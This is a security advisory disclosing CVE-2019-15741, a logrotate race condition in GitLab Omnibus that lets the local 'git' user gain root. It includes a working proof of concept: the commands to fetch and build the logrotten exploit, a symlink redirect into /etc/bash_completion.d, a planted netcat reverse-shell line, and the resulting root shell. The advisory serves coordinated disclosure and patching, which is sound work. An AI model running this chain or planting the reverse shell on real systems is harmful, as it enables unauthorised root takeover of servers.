# Privilege Escalation via Logrotate in Gitlab Omnibus ## Overview Identifier: AIT-SA-20190930-01 Target: GitLab Omnibus Vendor: GitLab Version: 7.4 through 12.2.1 Fixed in Version: 12.2.3, 12.1.8 and 12.0.8 CVE: CVE-2019-15741 Accessibility: Local Severity: Low Author: Wolfgang Hotwagner (AIT Austrian Institute of Technology) ## Summary Omnibus GitLab is a way to package different services and tools required to run GitLab, so that most users can install it without laborious configuration. ## Vulnerability Description GitLab Omnibus sets the ownership of the log directory to the system-user "git", which might let local users obtain root access because of unsafe interaction with logrotate. User “git†owns the log directory /var/log/gitlab: ``` # logdir in gitlab-ee: drwxr-xr-x 19 git root 4096 May 12 18:43 /var/log/gitlab/ ``` Log files rotate once a day (or any other frequency if configured) by logrotate as user root. The configuration does not use the “su†directive: ``` # logrotate-config of gitlab-ee: /var/log/gitlab/gitlab-workhorse/*.log { hourly rotate 30 compress copytruncate missingok postrotate endscript } ``` Due to logrotate is prone to a race-condition it is possible for user "git" to replace the directory /var/log/gitlab/gitlab-workhorse/ with a symbolic link to any directory(for example /etc/bash_completion.d). Logrotate will place files as user “root†into /etc/bash_completition.d and set the owner of the file to "git". An attacker could simply place a reverse-shell into this file. As soon as root logs in, a reverse root-shell will be executed. Details of the race-condition in logrotate can be found at: * https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition * https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges * https://github.com/whotwagner/logrotten ## Proof of Concept The following example illustrates how an attacker who already gained a shell as user “gitâ€, can elevate his privileges to “rootâ€. After downloading and compiling, the exploit gets executed and waits until the next daily run of logrotate. If the rotation of the log file succeeds, a new file that contains the reverse shell payload, will be written into /etc/bash_completition.d/ with owner “gitâ€. As soon as root logs in, the reverse shell gets executed and opens a shell on the attackers netcat listener: ``` git@Stretch64:~$ git clone https://github.com/whotwagner/logrotten.git /tmp/logrotten Cloning into '/tmp/logrotten'... remote: Enumerating objects: 84, done. remote: Counting objects: 100% (84/84), done. remote: Compressing objects: 100% (58/58), done. remote: Total 84 (delta 35), reused 64 (delta 24), pack-reused 0 Unpacking objects: 100% (84/84), done. git@Stretch64:~$ cd /tmp/logrotten && gcc -o logrotten logrotten.c git@Stretch64:/tmp/logrotten$ ./logrotten -c /var/log/gitlab/gitlab- workhorse/something.log Waiting for rotating /var/log/gitlab/gitlab-workhorse/something.log... Renamed /var/log/gitlab/gitlab-workhorse with /var/log/gitlab/gitlab-workhorse2 and created symlink to /etc/bash_completion.d Done! git@Stretch64:/tmp/logrotten$ ls -l /etc/bash_completion.d/ total 20 -rw-r--r-- 1 root root 439 Sep 28 2018 git-prompt -rw-r--r-- 1 root root 11144 Oct 28 2018 grub -rw-r--r-- 1 git git 33 May 12 18:44 something.log.1.gz git@Stretch64:/tmp/logrotten$ echo "if [ \`id -u\` -eq 0 ]; then (/bin/nc -e /bin/bash localhost 3333 &); fi" > /etc/bash_completion.d/something.log.1.gz git@Stretch64:/tmp/logrotten$ nc -nvlp 3333 listening on [any] 3333 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55526 id uid=0(root) gid=0(root) groups=0(root) ls -la total 32 drwx------ 4 root root 4096 May 12 18:47 . drwxr-xr-x 22 root root 4096 Apr 25 18:31 .. -rw------- 1 root root 1405 May 12 19:59 .bash_history -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc drwx------ 3 root root 4096 May 12 18:47 .config -rw-r--r-- 1 root root 148 Aug 17 2015 .profile drwx------ 2 root root 4096 Apr 25 18:40 .ssh -rw------- 1 root root 2194 May 12 17:29 .viminfo ``` ## Vulnerable Versions 7.4 through 12.2.1 ## Impact An attacker who already achieved a valid shell as user “git†could elevate the privileges to “rootâ€. The fact that another exploit is needed to get a shell lowers the severity from high to low. ## Solution Update to GitLab Security Release: 12.2.3, 12.1.8, and 12.0.8 ## References: * https://about.gitlab.com/2019/08/29/security-release-gitlab-12-dot-2-dot-3-released/ * https://gitlab.com/gitlab-org/omnibus-gitlab/issues/4380 * https://hackerone.com/reports/578119 ## Vendor Contact Timeline * `2019-05-12` Contacting vendor through HackerOne * `2019-05-31` GitLab acknowledges the vulnerability * `2019-08-22` Notification from GitLab about the release that includes a patch * `2019-08-30` GitLab changed the severity from high to low and released an update that fixed the problem * `2019-09-30` Public disclosure ## Advisory URL http://www.ait.ac.at/ait-sa-20190930-01-privilege-escalation-via-logrotate-in-gitlab-omnibus